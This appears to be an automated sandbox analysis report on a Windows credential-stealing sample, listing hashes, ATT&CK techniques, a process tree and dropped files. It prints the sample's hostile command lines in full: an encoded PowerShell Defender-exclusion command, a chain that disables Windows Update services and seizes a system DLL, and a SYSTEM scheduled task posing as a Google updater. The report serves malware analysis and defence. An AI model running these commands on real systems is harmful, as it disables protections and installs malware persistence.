10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c

Analysis

max time kernel
150s
max time network
71s
platform
windows10_x64
resource
win10-20220414-en
submitted
04-05-2022 12:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
Size

184KB
MD5

36f682e7bfc3c8fec5942271fefdd875
SHA1

d70e0fbd210f64763fcd4fcdc2e15742734c1728
SHA256

10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c
SHA512

a4fdfa152703db74e139f482b0c833479007578c50750d992a035ad69e5cd08b4aef8cbe82085d9a6e3f11c886843b333fdf6289fc744315d6d8752eeb2358c5

Score

10^/10

discovery evasion exploit spyware stealer suricata

Malware Config

Signatures

suricata: ET MALWARE Observed Zingo/GinzoStealer CnC Domain (nominally .ru in TLS SNI)
suricata: ET MALWARE Observed Zingo/GinzoStealer CnC Domain (nominally .ru in TLS SNI)
suricata
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

320591.exeupdater.exe

pid process

4840 320591.exe
2720 updater.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

3900 takeown.exe
2308 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
4840	320591.exe
2720	updater.exe

pid	process
3900	takeown.exe
2308	icacls.exe

Loads dropped DLL 7 IoCs

Processes:

10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe

pid	process
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe

Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exe

pid process

2308 icacls.exe
3900 takeown.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 freegeoip.app
4 freegeoip.app
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2308	icacls.exe
3900	takeown.exe

flow	ioc
3	freegeoip.app
4	freegeoip.app

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

740 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.execonhost.exe

pid process

4832 powershell.exe
4832 powershell.exe
4832 powershell.exe
4864 conhost.exe

pid	process
740	schtasks.exe

pid	process
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4864	conhost.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

Processes:

10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exepowershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeIncreaseQuotaPrivilege	4832	powershell.exe
Token: SeSecurityPrivilege	4832	powershell.exe
Token: SeTakeOwnershipPrivilege	4832	powershell.exe
Token: SeLoadDriverPrivilege	4832	powershell.exe
Token: SeSystemProfilePrivilege	4832	powershell.exe
Token: SeSystemtimePrivilege	4832	powershell.exe
Token: SeProfSingleProcessPrivilege	4832	powershell.exe
Token: SeIncBasePriorityPrivilege	4832	powershell.exe
Token: SeCreatePagefilePrivilege	4832	powershell.exe
Token: SeBackupPrivilege	4832	powershell.exe
Token: SeRestorePrivilege	4832	powershell.exe
Token: SeShutdownPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeSystemEnvironmentPrivilege	4832	powershell.exe
Token: SeRemoteShutdownPrivilege	4832	powershell.exe
Token: SeUndockPrivilege	4832	powershell.exe
Token: SeManageVolumePrivilege	4832	powershell.exe
Token: 33	4832	powershell.exe
Token: 34	4832	powershell.exe
Token: 35	4832	powershell.exe
Token: 36	4832	powershell.exe
Token: SeDebugPrivilege	4864	conhost.exe
Token: SeShutdownPrivilege	3652	powercfg.exe
Token: SeCreatePagefilePrivilege	3652	powercfg.exe
Token: SeShutdownPrivilege	4200	powercfg.exe
Token: SeCreatePagefilePrivilege	4200	powercfg.exe
Token: SeShutdownPrivilege	3584	powercfg.exe
Token: SeCreatePagefilePrivilege	3584	powercfg.exe
Token: SeShutdownPrivilege	4164	powercfg.exe
Token: SeCreatePagefilePrivilege	4164	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe320591.execonhost.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2424 wrote to memory of 4840	2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe	320591.exe
PID 2424 wrote to memory of 4840	2424	10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe	320591.exe
PID 4840 wrote to memory of 4864	4840	320591.exe	conhost.exe
PID 4840 wrote to memory of 4864	4840	320591.exe	conhost.exe
PID 4840 wrote to memory of 4864	4840	320591.exe	conhost.exe
PID 4864 wrote to memory of 4940	4864	conhost.exe	cmd.exe
PID 4864 wrote to memory of 4940	4864	conhost.exe	cmd.exe
PID 4940 wrote to memory of 4832	4940	cmd.exe	powershell.exe
PID 4940 wrote to memory of 4832	4940	cmd.exe	powershell.exe
PID 4864 wrote to memory of 4428	4864	conhost.exe	cmd.exe
PID 4864 wrote to memory of 4428	4864	conhost.exe	cmd.exe
PID 4864 wrote to memory of 2836	4864	conhost.exe	cmd.exe
PID 4864 wrote to memory of 2836	4864	conhost.exe	cmd.exe
PID 4428 wrote to memory of 4160	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 4160	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3896	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3896	4428	cmd.exe	sc.exe
PID 2836 wrote to memory of 3652	2836	cmd.exe	powercfg.exe
PID 2836 wrote to memory of 3652	2836	cmd.exe	powercfg.exe
PID 4428 wrote to memory of 3328	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3328	4428	cmd.exe	sc.exe
PID 2836 wrote to memory of 4200	2836	cmd.exe	powercfg.exe
PID 2836 wrote to memory of 4200	2836	cmd.exe	powercfg.exe
PID 4428 wrote to memory of 3572	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3572	4428	cmd.exe	sc.exe
PID 2836 wrote to memory of 3584	2836	cmd.exe	powercfg.exe
PID 2836 wrote to memory of 3584	2836	cmd.exe	powercfg.exe
PID 4428 wrote to memory of 3548	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3548	4428	cmd.exe	sc.exe
PID 4864 wrote to memory of 428	4864	conhost.exe	cmd.exe
PID 4864 wrote to memory of 428	4864	conhost.exe	cmd.exe
PID 4428 wrote to memory of 3848	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3848	4428	cmd.exe	sc.exe
PID 2836 wrote to memory of 4164	2836	cmd.exe	powercfg.exe
PID 2836 wrote to memory of 4164	2836	cmd.exe	powercfg.exe
PID 4428 wrote to memory of 780	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 780	4428	cmd.exe	sc.exe
PID 428 wrote to memory of 740	428	cmd.exe	schtasks.exe
PID 428 wrote to memory of 740	428	cmd.exe	schtasks.exe
PID 4428 wrote to memory of 952	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 952	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 600	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 600	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 508	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 508	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3256	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3256	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 5064	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 5064	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3268	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3268	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 288	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 288	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 192	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 192	4428	cmd.exe	sc.exe
PID 4428 wrote to memory of 3900	4428	cmd.exe	takeown.exe
PID 4428 wrote to memory of 3900	4428	cmd.exe	takeown.exe
PID 4428 wrote to memory of 2308	4428	cmd.exe	icacls.exe
PID 4428 wrote to memory of 2308	4428	cmd.exe	icacls.exe
PID 4428 wrote to memory of 2212	4428	cmd.exe	reg.exe
PID 4428 wrote to memory of 2212	4428	cmd.exe	reg.exe
PID 4428 wrote to memory of 2192	4428	cmd.exe	reg.exe
PID 4428 wrote to memory of 2192	4428	cmd.exe	reg.exe
PID 4428 wrote to memory of 1432	4428	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe
"C:\Users\Admin\AppData\Local\Temp\10b4489a3ac26cb106896685ce42a04c2b6d977de9f0d250e6a3503d5c30405c.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424

C:\Users\Admin\AppData\Local\320591.exe
"C:\Users\Admin\AppData\Local\320591.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4840

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\320591.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHEAeQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAeABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBiAHoAaABiACMAPgA="
4⤵
- Suspicious use of WriteProcessMemory
PID:4940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHEAeQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAeABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBiAHoAaABiACMAPgA="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
4⤵
- Suspicious use of WriteProcessMemory
PID:4428

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
PID:4160

C:\Windows\system32\sc.exe
sc stop bits
5⤵
PID:3896

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
PID:3328

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
PID:3572

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
PID:3548

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
5⤵
PID:3848

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
5⤵
PID:780

C:\Windows\system32\sc.exe
sc config bits start= disabled
5⤵
PID:952

C:\Windows\system32\sc.exe
sc failure bits reset= 0 actions= ""
5⤵
PID:600

C:\Windows\system32\sc.exe
sc config dosvc start= disabled
5⤵
PID:508

C:\Windows\system32\sc.exe
sc failure dosvc reset= 0 actions= ""
5⤵
PID:3256

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
5⤵
PID:5064

C:\Windows\system32\sc.exe
sc failure UsoSvc reset= 0 actions= ""
5⤵
PID:3268

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
5⤵
PID:288

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
5⤵
PID:192

C:\Windows\system32\takeown.exe
takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3900

C:\Windows\system32\icacls.exe
icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2308

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
5⤵
PID:2212

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
5⤵
PID:2192

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
PID:1432

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
PID:3132

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
PID:3920

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
PID:1636

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
5⤵
PID:1760

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
5⤵
PID:2816

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
5⤵
PID:4128

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
5⤵
PID:2608

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
5⤵
PID:2856

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:1868

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:3800

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:2836

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3652

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4200

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3584

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4164

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:428

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
5⤵
- Creates scheduled task(s)
PID:740

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
4⤵
PID:2456

C:\Users\Admin\AppData\Roaming\Chrome\updater.exe
C:\Users\Admin\AppData\Roaming\Chrome\updater.exe
5⤵
- Executes dropped EXE
PID:2720

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
6⤵
PID:2248

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\320591.exe
Filesize
4.2MB

MD5
8268ff95b3aaea6d6de8f02a73c323d2

SHA1
ae470145c4f5780315b52aa1c57ae0c04a2d18ca

SHA256
529831a3e5b7b61f74f7a426e828210017daf1eea2cbf7cf997c13d82822aef8

SHA512
9603dde1bfd9874637e63a268a7c8f85032892b4e58d3f96678dfbb52b453a972e00cd49077574e58726d3c5045788ede5a9b81c89a464342d5b64070c7325c0

Download Submit
C:\Users\Admin\AppData\Local\320591.exe
Filesize
4.2MB

MD5
8268ff95b3aaea6d6de8f02a73c323d2

SHA1
ae470145c4f5780315b52aa1c57ae0c04a2d18ca

SHA256
529831a3e5b7b61f74f7a426e828210017daf1eea2cbf7cf997c13d82822aef8

SHA512
9603dde1bfd9874637e63a268a7c8f85032892b4e58d3f96678dfbb52b453a972e00cd49077574e58726d3c5045788ede5a9b81c89a464342d5b64070c7325c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Filesize
443B

MD5
f3a02a8234ba1a79da3e6c45e925851f

SHA1
ba55191b01c10a22b3008e36a4b3125411c5eea9

SHA256
c0e6fb4b810dfd281e46afbb1ff40e48214a9b2441759f5a90ff0cb7137c942a

SHA512
80e31555d0972e1c2ceb1eefb1e17cc1cfdaf8c5c1e65e60b27983bb71581486c623045d5dd30f4533f8a5aa8e1d434db7f1898b2bb3a4a74cc4c18ce423b163

Download Submit
C:\Users\Admin\AppData\Roaming\Chrome\updater.exe
Filesize
4.2MB

MD5
8268ff95b3aaea6d6de8f02a73c323d2

SHA1
ae470145c4f5780315b52aa1c57ae0c04a2d18ca

SHA256
529831a3e5b7b61f74f7a426e828210017daf1eea2cbf7cf997c13d82822aef8

SHA512
9603dde1bfd9874637e63a268a7c8f85032892b4e58d3f96678dfbb52b453a972e00cd49077574e58726d3c5045788ede5a9b81c89a464342d5b64070c7325c0

Download Submit
C:\Users\Admin\AppData\Roaming\Chrome\updater.exe
Filesize
4.2MB

MD5
8268ff95b3aaea6d6de8f02a73c323d2

SHA1
ae470145c4f5780315b52aa1c57ae0c04a2d18ca

SHA256
529831a3e5b7b61f74f7a426e828210017daf1eea2cbf7cf997c13d82822aef8

SHA512
9603dde1bfd9874637e63a268a7c8f85032892b4e58d3f96678dfbb52b453a972e00cd49077574e58726d3c5045788ede5a9b81c89a464342d5b64070c7325c0

Download Submit
\Users\Admin\AppData\Local\Temp\DotNetZip.dll
Filesize
461KB

MD5
a999d7f3807564cc816c16f862a60bbe

SHA1
1ee724daaf70c6b0083bf589674b6f6d8427544f

SHA256
8e9c0362e9bfb3c49af59e1b4d376d3e85b13aed0fbc3f5c0e1ebc99c07345f3

SHA512
6f1f73314d86ae324cc7f55d8e6352e90d4a47f0200671f7069daa98592daaceea34cf89b47defbecdda7d3b3e4682de70e80a5275567b82aa81b002958e4414

Download Submit
\Users\Admin\AppData\Local\Temp\DotNetZip.dll
Filesize
461KB

MD5
a999d7f3807564cc816c16f862a60bbe

SHA1
1ee724daaf70c6b0083bf589674b6f6d8427544f

SHA256
8e9c0362e9bfb3c49af59e1b4d376d3e85b13aed0fbc3f5c0e1ebc99c07345f3

SHA512
6f1f73314d86ae324cc7f55d8e6352e90d4a47f0200671f7069daa98592daaceea34cf89b47defbecdda7d3b3e4682de70e80a5275567b82aa81b002958e4414

Download Submit
\Users\Admin\AppData\Local\Temp\Newtonsoft.Json.dll
Filesize
685KB

MD5
081d9558bbb7adce142da153b2d5577a

SHA1
7d0ad03fbda1c24f883116b940717e596073ae96

SHA256
b624949df8b0e3a6153fdfb730a7c6f4990b6592ee0d922e1788433d276610f3

SHA512
2fdf035661f349206f58ea1feed8805b7f9517a21f9c113e7301c69de160f184c774350a12a710046e3ff6baa37345d319b6f47fd24fbba4e042d54014bee511

Download Submit
\Users\Admin\AppData\Local\Temp\Newtonsoft.Json.dll
Filesize
685KB

MD5
081d9558bbb7adce142da153b2d5577a

SHA1
7d0ad03fbda1c24f883116b940717e596073ae96

SHA256
b624949df8b0e3a6153fdfb730a7c6f4990b6592ee0d922e1788433d276610f3

SHA512
2fdf035661f349206f58ea1feed8805b7f9517a21f9c113e7301c69de160f184c774350a12a710046e3ff6baa37345d319b6f47fd24fbba4e042d54014bee511

Download Submit
\Users\Admin\AppData\Local\Temp\System.Data.SQLite.dll
Filesize
384KB

MD5
55c797383dbbbfe93c0fe3215b99b8ec

SHA1
1b089157f3d8ae64c62ea15cdad3d82eafa1df4b

SHA256
5fac5a9e9b8bbdad6cf661dbf3187e395914cd7139e34b725906efbb60122c0d

SHA512
648a7da0bcda6ccd31b4d6cdc1c90c3bc3c11023fcceb569f1972b8f6ab8f92452d1a80205038edcf409669265b6756ba0da6b1a734bd1ae4b6c527bbebb8757

Download Submit
\Users\Admin\AppData\Local\Temp\System.Data.SQLite.dll
Filesize
384KB

MD5
55c797383dbbbfe93c0fe3215b99b8ec

SHA1
1b089157f3d8ae64c62ea15cdad3d82eafa1df4b

SHA256
5fac5a9e9b8bbdad6cf661dbf3187e395914cd7139e34b725906efbb60122c0d

SHA512
648a7da0bcda6ccd31b4d6cdc1c90c3bc3c11023fcceb569f1972b8f6ab8f92452d1a80205038edcf409669265b6756ba0da6b1a734bd1ae4b6c527bbebb8757

Download Submit
\Users\Admin\AppData\Local\Temp\x86\SQLite.Interop.dll
Filesize
1.3MB

MD5
8be215abf1f36aa3d23555a671e7e3be

SHA1
547d59580b7843f90aaca238012a8a0c886330e6

SHA256
83f332ea9535814f18be4ee768682ecc7720794aedc30659eb165e46257a7cae

SHA512
38cf4aea676dacd2e719833ca504ac8751a5fe700214ff4ac2b77c0542928a6a1aa3780ed7418387affed67ab6be97f1439633249af22d62e075c1cdfdf5449b

Download Submit
memory/192-318-0x0000000000000000-mapping.dmp

Download
memory/288-317-0x0000000000000000-mapping.dmp

Download
memory/428-306-0x0000000000000000-mapping.dmp

Download
memory/508-313-0x0000000000000000-mapping.dmp

Download
memory/600-312-0x0000000000000000-mapping.dmp

Download
memory/740-310-0x0000000000000000-mapping.dmp

Download
memory/780-309-0x0000000000000000-mapping.dmp

Download
memory/952-311-0x0000000000000000-mapping.dmp

Download
memory/1432-323-0x0000000000000000-mapping.dmp

Download
memory/1636-326-0x0000000000000000-mapping.dmp

Download
memory/1760-327-0x0000000000000000-mapping.dmp

Download
memory/1868-332-0x0000000000000000-mapping.dmp

Download
memory/2192-322-0x0000000000000000-mapping.dmp

Download
memory/2212-321-0x0000000000000000-mapping.dmp

Download
memory/2308-320-0x0000000000000000-mapping.dmp

Download
memory/2424-152-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-222-0x0000000009BF0000-0x0000000009C56000-memory.dmp

Filesize
408KB

Download
memory/2424-147-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-148-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-149-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-150-0x0000000000700000-0x0000000000738000-memory.dmp

Filesize
224KB

Download
memory/2424-151-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-118-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-153-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-155-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
memory/2424-154-0x00000000774A0000-0x000000007762E000-memory.dmp

Filesize
1.6MB

Download
